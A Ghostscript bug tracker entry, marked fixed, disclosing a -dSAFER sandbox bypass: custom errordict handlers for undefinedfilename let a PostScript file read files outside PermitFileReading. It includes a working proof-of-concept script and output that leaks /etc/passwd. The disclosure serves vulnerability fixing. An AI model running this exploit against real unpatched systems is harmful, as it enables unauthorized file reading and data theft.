| Summary: | Bypassing PermitFileReading by handling undefinedfilename errors | ||
|---|---|---|---|
| Product: | Ghostscript | Reporter: | Tavis Ormandy <taviso> |
| Component: | General | Assignee: | Chris Liddell (chrisl) <chris.liddell> |
| Status: | NOTIFIED FIXED | ||
| Severity: | major | CC: | cbuissar, deekej, dr, jsmeix, scorneli, till.kamppeter |
| Priority: | P2 | ||
| Version: | unspecified | ||
| Hardware: | PC | ||
| OS: | Linux | ||
| Customer: | 501,641 | Word Size: | --- |
*** Bug 699662 has been marked as a duplicate of this bug. *** |
If you handle /undefinedfilename, you can provide a filename to pseudo operators that is outside of PermitFileReading. Getting the contents is tricky, but here is a demo: $ cat fileread.ps /FileToSteal (/etc/passwd) def errordict /undefinedfilename { FileToSteal % save the undefined name } put errordict /undefined { (STOLEN: ) print counttomark { ==only } repeat (\n) print FileToSteal } put errordict /invalidfileaccess { pop } put errordict /typecheck { pop } put FileToSteal (w) .tempfile statusdict begin 1 1 .setpagesize end quit $ gs -q -sDEVICE=ppmraw -dSAFER fileread.ps GPL Ghostscript 9.23: STOLEN: root:x:0:0:root: STOLEN: daemon:x:1:1:daemon:/bash/bin/root:(/etc/passwd) STOLEN: bin:x:2:2:bin:/nologin/sbin/usr/sbin:/usr(/etc/passwd) STOLEN: sys:x:3:3:sys:/nologin/sbin/usr/bin:(/etc/passwd) STOLEN: sync:x:4:65534:sync:/nologin/sbin/usr/dev:(/etc/passwd) STOLEN: games:x:5:60:games:/sync/bin/bin:(/etc/passwd)